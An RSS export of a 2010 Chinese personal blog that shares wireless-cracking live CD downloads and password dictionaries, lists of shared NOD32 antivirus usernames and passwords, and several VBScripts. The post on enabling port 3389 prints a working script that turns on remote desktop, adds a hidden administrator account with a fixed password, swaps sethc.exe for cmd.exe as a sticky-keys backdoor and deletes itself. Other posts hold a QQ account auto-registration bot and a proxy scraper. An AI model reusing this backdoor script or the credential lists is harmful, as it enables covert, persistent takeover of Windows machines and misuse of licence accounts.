<![CDATA[孤独dě烟头 's Blog]]>

<![CDATA[孤独dě烟头 's Blog]]> http://www.fkdj8.com/index.php zh-cn http://www.fkdj8.com/post/63/ <![CDATA[(6.19更新)CDlinux-0.9.6.1集成软件包]]> yantou <admin@yourname.com> Sun, 27 Jun 2010 03:38:04 +0000 http://www.fkdj8.com/post/63/ wireless-more-cdl.md 软件包
下载地址:
http://u.115.com/file/f3a6025de5
wireless-tools-more-0.9.6.1-cdl.md
集成：aircrack-ng-1.1 minidwep-gtk-20522 feedingbottle-3.1 wicd-1.7.0 Xhydra dsniff macchanger tcpdump mdk3-v6 cowpatty ettercap kismet-2010-R1

制作好的包含了上面软件包的CDlinux-0.9.6.1-se-wireless.iso文件下载地址：
http://u.115.com/file/f31ecae420
CDlinux-0.9.6.1-se-wireless.iso

=====================================
wireless-basic-cdl.md软件包包含了以下软件：

1.aircrack-ng-1.1
2.libnl
3.iw
4.openssl
5.minidwep-gtk-20522
6.feedingbottle-3.1
7.添加了CDlinux-0.9.6.1中没有集成的rt2800usb,r8187,ar9170驱动，支持rt2070L.
8.添加了CDlinux-0.9.6.1中没有集成的一些无线网卡的firmware文件。
下载地址：
wireless-basic-cdl.md http://www.vdisk.cn/down/index/4457685A1571
http://u.115.com/file/f33d995265
标准版和社区版都可以使用。拷贝md软件包到CDlinux/extra目录即可。
Tags - cdlinux , 集成软件包 ]]> http://www.fkdj8.com/post/62/ <![CDATA[Beini 1.2.1 Is Released ]]> yantou <admin@yourname.com> Sun, 27 Jun 2010 03:34:48 +0000 http://www.fkdj8.com/post/62/ --- 此版本附带的软件程序源于 Beini-1.2 。
--- 无线网卡驱动：修复 RT3070 驱动兼容性问题（ LED 正常工作）。
--- 固件：wireless-fw-2010-06-04.tce ，非独立软件包。

介绍（Description）：

Beini：一个基于 Tiny Core Linux 搭建的无线网络安全测试系统。
FeedingBottle：运行在 Beini 系统上的 Aircrack-ng 工具包的 GUI 。

添加400W个常用密码
下载地址：
http://www.vdisk.cn/down/index/4548946A2982
文件MD5: 8359F2EC457E47E0C12D7EAEA957B828

Tags - beini , 无线 , 破解 ]]> http://www.fkdj8.com/post/55/ <![CDATA[CDlinux-0.9.5标准无线安全增强版（120M）]]> yantou <admin@yourname.com> Sun, 02 May 2010 04:19:58 +0000 http://www.fkdj8.com/post/55/ 1.aircrack-ng-1.0 r1645
2.minidwep-gtk-20213
3.minidwep-wpa-1221
4.奶瓶feedingbottle-3.0-rc3
5.ettercap-0.7.3
6.Xhydra
7.Zenmap 5.00
8.kismet-2009
9.wireshark-v1.2.4
10.字典制作工具crunch
11.cowpatty v4.6
12.mdk3 v6
13.macchanger v1.5
14.tcpdump v3.9.8
15.QQ for linux
16.mplayer
17.smplayer
18.简单修改xorg.conf中显卡驱动的脚本vcard
19.wicd 1.6.2.2
20.dsniff

iso文件大小120M，下载地址： http://u.115.com/file/f370a81f01
CDlinux-0.9.5-SE-wireless-enhanced.iso
MD5：a6fb31786a813d0e79c9c3807593b5ec

如果已经下载了官方版本的CDlinux-0.9.5标准版，只需要单独下载下面这个wireless-tools-more-cdl.md软件包，拷贝到CDlinux/extra目录下即可
下载地址： http://u.115.com/file/f32d8a972b

Tags - cdlinux , 无线 , 安全 ]]> http://www.fkdj8.com/post/48/ <![CDATA[3月21日最新升级id_nod32最新用户名和密码_nod32注册码]]> yantou <admin@yourname.com> Sun, 21 Mar 2010 04:41:43 +0000 http://www.fkdj8.com/post/48/ 用户名:EAV-28753186    密码:nprnxuj24j

用户名:EAV-26707735    密码:h8v5ef7h2r

用户名:EAV-26707733    密码:bjv8kmusxv

用户名:EAV-28662466    密码:bxmvhun5aa

用户名:EAV-27551683    密码:8rvk7drt35

用户名:EAV-28220488    密码:hr6653har5

用户名:EAV-27551567    密码:3kpbr6tnjj

用户名:EAV-28424034    密码:bvssahb254

用户名:TRIAL-28018763    密码:ex8tumrxft

用户名:TRIAL-28018731    密码:3shv7epaaf

用户名:TRIAL-28018730    密码:nmar7mp4h3

用户名:EAV-28753212    密码:sh3k72n7rj

用户名:EAV-28753209    密码:8mthcccb2a

用户名:EAV-28753207    密码:32tmhh3kxe

用户名:EAV-28753206    密码:nskfjp3d82

用户名:EAV-28424039    密码:jdktk4ndc2

用户名:EAV-28628355    密码:54prasjsrc

用户名:EAV-28628345    密码:au4p24been

用户名:EAV-28628337    密码:62u2nv3ekv

用户名:TRIAL-28230918    密码:8xk8thdn3f

用户名:TRIAL-28230915    密码:n5d63u4sa7

用户名:TRIAL-28047107    密码:7r6kun87h2
用户名:EAV-28753202    密码:bfknu3e27b

用户名:EAV-28753200    密码:5sms385b6f

用户名:EAV-28753195    密码:tjxda2s2xb

用户名:EAV-28753188    密码:udrjspup5d

用户名:EAV-28949779    密码:jvu78mpmbr

Tags - nod32注册码 , nod32最新用户名和密码 ]]> http://www.fkdj8.com/post/47/ <![CDATA[VB编程教程收集~~]]> yantou <admin@yourname.com> Sun, 21 Mar 2010 04:38:06 +0000 http://www.fkdj8.com/post/47/
http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程1.rar

第二课 VB编程基础

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程2.rar

第三课 VB6.0程序设计基础(1)

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程3.rar

第四课 VB6.0程序设计基础(2)

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程4.rar

第五课窗体与基本输入输出

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程5.rar

第六课常用控件(1)

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程6.rar

第七课常用控件(2)

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程7.rar

第八课常用控件(3)

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程8.rar

第九课常用控件(4)

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程9.rar

第十课工程与程序管理

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程10.rar

第十一课 VB应用程序结构

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程11.rar

第十二课文件访问1：

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程12.rar

第十三课文件访问2：

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程13.rar

第十四课打印：

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程14.rar

第十五课数据库的链接与应用（1）：

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程15.rar

第十六课数据库的链接与应用（2）：

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程16.rar

第十七课黑鸽子编程实例讲解1

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程17.rar

第十八课黑鸽子编程实例讲解2

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程18.rar

第十九课黑鸽子编程实例讲解3

http://218.28.112.170/jiaocheng/黑鹰VB/黑鹰VB编程教程19.rar

请用讯雷下载，有时不能下载．是因为没有源，请等待重试！

Tags - vb , 教程 , 黑鹰 ]]> http://www.fkdj8.com/post/46/ <![CDATA[2010年3月5日_nod32最新激活码nod32用户名和密码]]> yantou <admin@yourname.com> Fri, 05 Mar 2010 13:16:08 +0000 http://www.fkdj8.com/post/46/
用户名:EAV-28343488               密码:nu3jp3snrc

用户名:EAV-28099898               密码:sccd6ar2t3

用户名:TRIAL-28230808             密码:s4h8hd33ca

用户名:EAV-27481075               密码:jftu3u2hkv

用户名:EAV-27480405               密码:sunrffvht3

用户名:EAV-27480340               密码:4cvh38n2fh

用户名:EAV-28244600               密码:6arn5p74db

用户名:EAV-28244608               密码:72m3jc62dk

用户名:EAV-27480338               密码:spcu2tndvd

用户名:EAV-28132691               密码:snuhp62kux

用户名:TRIAL-28230918             密码:8xk8thdn3f

用户名:TRIAL-28230915             密码:n5d63u4sa7

Tags - nod32升级id ]]> http://www.fkdj8.com/post/36/ <![CDATA[xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本vbs ]]> yantou <admin@yourname.com> Tue, 19 Jan 2010 09:58:33 +0000 http://www.fkdj8.com/post/36/
　　代码如下:

　　on error resume next

　　const HKEY_LOCAL_MACHINE = &H80000002

　　strComputer = "."

　　Set StdOut = WScript.StdOut

　　Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_

　　strComputer & "\root\default:StdRegProv")

　　strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"

　　oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath

　　strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"

　　oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath

　　strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

　　strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"

　　strValueName = "fDenyTSConnections"

　　dwValue = 0

　　oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

　　strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"

　　strValueName = "PortNumber"

　　dwValue = 3389

　　oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

　　strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

　　strValueName = "PortNumber"

　　dwValue = 3389

　　oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

　　on error resume next

　　dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="HackEr":password="393214425":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath

　　On Error Resume Next

　　Dim obj, success

　　Set obj = CreateObject("WScript.Shell")

　　success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F? %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe? %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)

　　CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

本篇文章来源于黑客基地-全球最大的中文黑客站原文链接：http://www.hackbase.com/subject/2009-09-28/16514.html
Tags - 自删除脚本 , vbs ]]> http://www.fkdj8.com/post/33/ <![CDATA[优友外链精灵]]> yantou <admin@yourname.com> Sat, 26 Dec 2009 09:30:11 +0000 http://www.fkdj8.com/post/33/ 点击在新窗口中浏览此图片

给大家一个增加外链的工具，还不错！效果自己去感受

下载地址！http://down.qiannao.com/space/file/yantou/-4e0a-4f20-5206-4eab/2009/12/26/-4f18-53cb-5916-94fe-7cbe-7075UUlink1-005b1-005d.2.1-6b63-5f0f-7248.rar/.page
Tags - 外链 , 优化 ]]> http://www.fkdj8.com/post/31/ <![CDATA[全自动QQ申请.vbs]]> yantou <admin@yourname.com> Thu, 24 Dec 2009 09:27:31 +0000 http://www.fkdj8.com/post/31/ Set a=WScript.CreateObject("WScript.shell")
a.run "http://newreg.qq.com/" '打开QQ号码申请页面
WScript.Sleep 10000 '延时1秒，等待页面载入
a.SendKeys "52pojie" '这里填写昵称
a.SendKeys "{TAB}"
WScript.Sleep 200
a.SendKeys "{DOWN}"
a.SendKeys "{TAB}"
WScript.Sleep 200
a.SendKeys "{DOWN}"
a.SendKeys "{TAB}"
WScript.Sleep 200
a.SendKeys "{DOWN}"
WScript.Sleep 200
a.SendKeys "{TAB}"
WScript.Sleep 200
a.SendKeys "{TAB}"
WScript.Sleep 200
a.SendKeys "52pojie.cn" '这里是密码
a.SendKeys "{TAB}"
WScript.Sleep 200
a.SendKeys "52pojie.cn" '再次输入密码
WScript.Sleep 200
a.SendKeys "{TAB}"
WScript.Sleep 200
a.SendKeys "{TAB}"
WScript.Sleep 200
a.SendKeys "{TAB}"
WScript.Sleep 200
a.SendKeys "{TAB}"

Tags - 全自动 , qq , 申请 ]]> http://www.fkdj8.com/post/30/ <![CDATA[一个提取HTTP代理的VBS脚本]]> yantou <admin@yourname.com> Wed, 23 Dec 2009 17:41:00 +0000 http://www.fkdj8.com/post/30/ ' * Intro：自动从各大代理网站提取花刺代理不能识别的HTTP代理，然后用花刺进行验证，一般情况下都可以提取一千多个可用代理
' * Usage：在命令提示符下输入：Cscript.exe SearchProxy.vbs.VBS
' * FileName：SearchProxy.vbs.VBS
' * Author：雨中风铃
' * Version：v1.0
' * WEB：http://hi.baidu.com/yanfei6
' * MadeTime：2009-12-22 08:51
' *==========================================================================*/

'On Error Resume Next

Dim N, strPattern(3), iSleepTime
N = 0
iSleepTime = 200 '脚本不稳定请增加此值

strPattern(0) = "((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])(\.(1\d\d|2[0-4]\d|25[0-5]|\d{1,2})){3}):(\d+)"
strPattern(1) = "((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])(\.(1\d\d|2[0-4]\d|25[0-5]|\d{1,2})){3}).*?(\d+)<"
strPattern(2) = "((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])(\.(1\d\d|2[0-4]\d|25[0-5]|\d{1,2})){3})[\s\S]*?\s(\d+)"
strPattern(3) = "((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])(\.(1\d\d|2[0-4]\d|25[0-5]|\d{1,2})){3})[\s\S]*?(\d+)"

Call ExtracProxyByIE("http://www.cnproxy.com/proxyNNNN.html", 0, 1, 0)
Call ExtracProxyByIE("http://www.cnproxy.com/proxyeduNNNN.html", 0, 1, 0)
Call ExtracProxyByIE("http://www.samair.ru/proxy/time-NNNN.htm", 1, 1, 0)

Call ExtracProxyByXML("http://www.cybersyndrome.net/cgi-bin/search.cgi", "q=&a=ABCD&s=host", 1, 0, 0, 0)
Call ExtracProxyByXML("http://www.cz88.net/proxy/index.shtml", , 0, 0, 0, 1)
Call ExtracProxyByXML("http://www.cz88.net/proxy/http_NNNN.shtml", , 0, 0, 2, 1)

Call ExtracProxyByXML("http://www.proxycn.com/html_proxy/http-NNNN.html", , 0, 0, 1, 0) 'Not Open
'Call ExtracProxyByXML("http://info.hustonline.net/proxy/prolist.aspx?show=3&indexPage=NNNN", , 0, 0, 1, 2) 'So Bad

Wscript.Echo "提取完毕"

Function ExtracProxyByXML(strSite, strPost, bPost, bPrefix, iBegin, iRegExp)
Dim I
Do While True
If bPrefix Then
I = Right("0" & iBegin, 2)
Else
I = iBegin
End If
strUrl = Replace(strSite, "NNNN", I)
If bPost then
strData = PostData(strUrl, strPost)
Else
strData = GetData(strUrl)
End If
iBegin = iBegin + 1
strResult = getContents(strData, iRegExp)
If strResult <> "" Then
Call SaveToLog(strResult)
Wscript.Echo "已经提取" & N & "个代理"
Else
Exit Do
End If
If InStr(strSite, "NNNN") <= 0 Then
Exit Do
End If
Wscript.Sleep iSleepTime
Loop
End Function

Function ExtracProxyByIE(strSite, bPrefix, iBegin, iRegExp)
Dim I
Do While True
If bPrefix Then
I = Right("0" & iBegin, 2)
Else
I = iBegin
End If
strUrl = Replace(strSite, "NNNN", I)
Set ie=WScript.CreateObject("InternetExplorer.Application")
ie.visible = False
ie.navigate strUrl
Do
Wscript.Sleep 500
Loop Until ie.ReadyState=4
strData = ie.document.body.innerText
ie.Quit
iBegin = iBegin + 1
strResult = getContents(strData, iRegExp)
If strResult <> "" Then
Call SaveToLog(strResult)
Wscript.Echo "已经提取" & N & "个代理"
Else
Exit Do
End If
If InStr(strSite, "NNNN") <= 0 Then
Exit Do
End If
Wscript.Sleep iSleepTime
Loop
End Function

Function GetData(PostUrl)
Dim Http
Set Http = CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
GetData = .ResponseBody
End With
Set Http = Nothing
GetData =bytes2BSTR(GetData)
End Function

Function PostData(PostUrl,PostStr)
Dim Http
Set Http = CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "POST",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.Send PostStr
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function

Function getContents(Str, iRegExp)
Set re = New RegExp
re.Pattern = strPattern(iRegExp)
re.Global = True
re.IgnoreCase = True
Set Contents = re.Execute(Str)
For Each Match in Contents ' 遍历匹配集合。
N = N + 1
getContents = getContents & Match.SubMatches(0) & ":" & Match.SubMatches(4) & vbCrLf
Next
End Function

Sub SaveToLog(strContent)
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("proxy.txt", ForAppending, True)
f.Write strContent
f.Close
Set fso = Nothing
End Sub

]]>